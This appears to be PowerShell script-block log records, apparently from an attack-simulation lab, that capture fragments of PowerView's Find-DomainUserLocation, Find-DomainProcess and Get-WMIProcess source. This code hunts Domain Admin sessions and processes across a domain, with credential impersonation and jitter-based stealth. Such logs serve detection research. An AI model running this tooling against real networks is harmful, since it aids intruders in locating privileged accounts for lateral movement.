'UserDomain' $UserDomain $UserLocation | Add-Member Noteproperty 'UserName' $UserName $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Test-AdminAccess -ComputerName $TargetComputer $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') $UserLocation } } } } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TargetUsers' = $TargetUsers 'CurrentUser' = $CurrentUser 'Stealth' = $Stealth 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-DomainProcess { <# .SYNOPSIS Searches for processes on the domain using WMI, returning processes that match a particular user specification or process name. Thanks to @paulbrandau for the approach idea. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the function enumerates any current processes running with Get-WMIProcess, searching for processes running under any target user contexts or with the specified -ProcessName. If -Credential is passed, it is passed through to the underlying WMI commands used to enumerate the remote machines. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER ProcessName Search for processes with one or more specific names. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainProcess Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by privileged users in dev.testlab.local. .EXAMPLE Find-DomainProcess -ProcessName putty.exe Searchings for instances of putty.exe running on the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainProcess -Domain testlab.local -Credential $Cred Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserProcess #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'TargetProcess')] [ValidateNotNullOrEmpty()] [String[]] $ProcessName, [Parameter(ParameterSetName = 'TargetUser')] [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserDomain, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Parameter(ParameterSetName = 'TargetUser')] [Alias('AdminCount')] [Switch] $UserAdminCount, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainProcess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainProcess] No hosts found to enumerate' } # now build the user target set if ($PSBoundParameters['ProcessName']) { $TargetProcessName = @() ForEach ($T in $ProcessName) { $TargetProcessName += $T.Split(',') } if ($TargetProcessName -isnot [System.Array]) { $TargetProcessName = [String[]] @($TargetProcessName) } } elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $GroupSearcherArguments $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $ProcessName, $TargetUsers, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # try to enumerate all active processes on the remote host # and search for a specific process name if ($Credential) { $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue } else { $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue } ForEach ($Process in $Processes) { # if we're hunting for a process name or comma-separated names if ($ProcessName) { if ($ProcessName -Contains $Process.ProcessName) { $Process 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3341 ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER UserAllowDelegation Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. .PARAMETER CheckAccess Switch. Check if the current user has local admin access to computers where target users are found. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER ShowAll Switch. Return all user location results instead of filtering based on target specifications. .PARAMETER Stealth Switch. Only enumerate sessions from connonly used target servers. .PARAMETER StealthSource The source of target servers to use, 'DFS' (distributed file servers), 'DC' (domain controllers), 'File' (file servers), or 'All' (the default). .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserLocation Searches for 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainUserLocation -Stealth -ShowAll Enumerates likely highly-trafficked servers, performs just session enumeration against each, and outputs all results. .EXAMPLE Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged users in dev.testlab.local. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainUserLocation -Domain testlab.local -Credential $Cred Searches for domain admin locations in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserLocation #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserLocation')] [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [Parameter(ParameterSetName = 'UserGroupIdentity')] [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] $UserAdminCount, [Alias('AllowDelegation')] [Switch] $UserAllowDelegation, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Parameter(ParameterSetName = 'ShowAll')] [Switch] $ShowAll, [Switch] $Stealth, [String] [ValidateSet('DFS', 'DC', 'File', 'All')] $StealthSource = 'All', [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } $TargetComputers = @() # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = @($ComputerName) } else { if ($PSBoundParameters['Stealth']) { Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" $TargetComputerArrayList = New-Object System.Collections.ArrayList if ($StealthSource -match 'File|All') { Write-Verbose '[Find-DomainUserLocation] Querying for file servers' $FileServerSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } $FileServers = Get-DomainFileServer @FileServerSearcherArguments if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } $TargetComputerArrayList.AddRange( $FileServers ) } if ($StealthSource -match 'DFS|All') { Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' # # TODO: fix the passed parameters to Get-DomainDFSShare # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} } if ($StealthSource -match 'DC|All') { Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' $DCSearcherArguments = @{ 'LDAP' = $True } if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } $TargetComputerArrayList.AddRange( $DomainControllers ) } $TargetComputers = $TargetComputerArrayList.ToArray() } else { Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } } Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainUserLocation] No hosts found to enumerate' } # get the current user so we can ignore it in the results if ($PSBoundParameters['Credential']) { $CurrentUser = $Credential.GetNetworkCredential().UserName } else { $CurrentUser = ([Environment]::UserName).ToLower() } # now build the user target set if ($PSBoundParameters['ShowAll']) { $TargetUsers = @() } elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { throw '[Find-DomainUserLocation] No users found to target' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $Sessions = Get-NetSession -ComputerName $TargetComputer ForEach ($Session in $Sessions) { $UserName = $Session.UserName $CName = $Session.CName if ($CName -and $CName.StartsWith('\\')) { $CName = $CName.TrimStart('\') } # make sure we have a result, and ignore computer$ sessions if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { $UserLocation = New-Object PSObject $UserLocation | Add-Member Noteproperty 'UserDomain' $Null $UserLocation | Add-Member Noteproperty 'UserName' $UserName $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName # try to resolve the DNS hostname of $Cname try { $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName } catch { $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null } # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') $UserLocation } } } if (-not $Stealth) { # if we're not 'stealthy', enumerate loggedon users as well $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer ForEach ($User in $LoggedOn) { $UserName = $User.UserName 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3241ate all Win32_process instances on the local or remote machine, including the owners of the particular process. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-WMIProcess -ComputerName WINDOWS1 .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.UserProcess A PSCustomObject containing the remote process information. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'ComputerName' = $ComputerName 'Class' = 'Win32_process' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } Get-WMIobject @WmiArguments | ForEach-Object { $Owner = $_.getowner(); $Process = New-Object PSObject $Process | Add-Member Noteproperty 'ComputerName' $Computer $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName $Process | 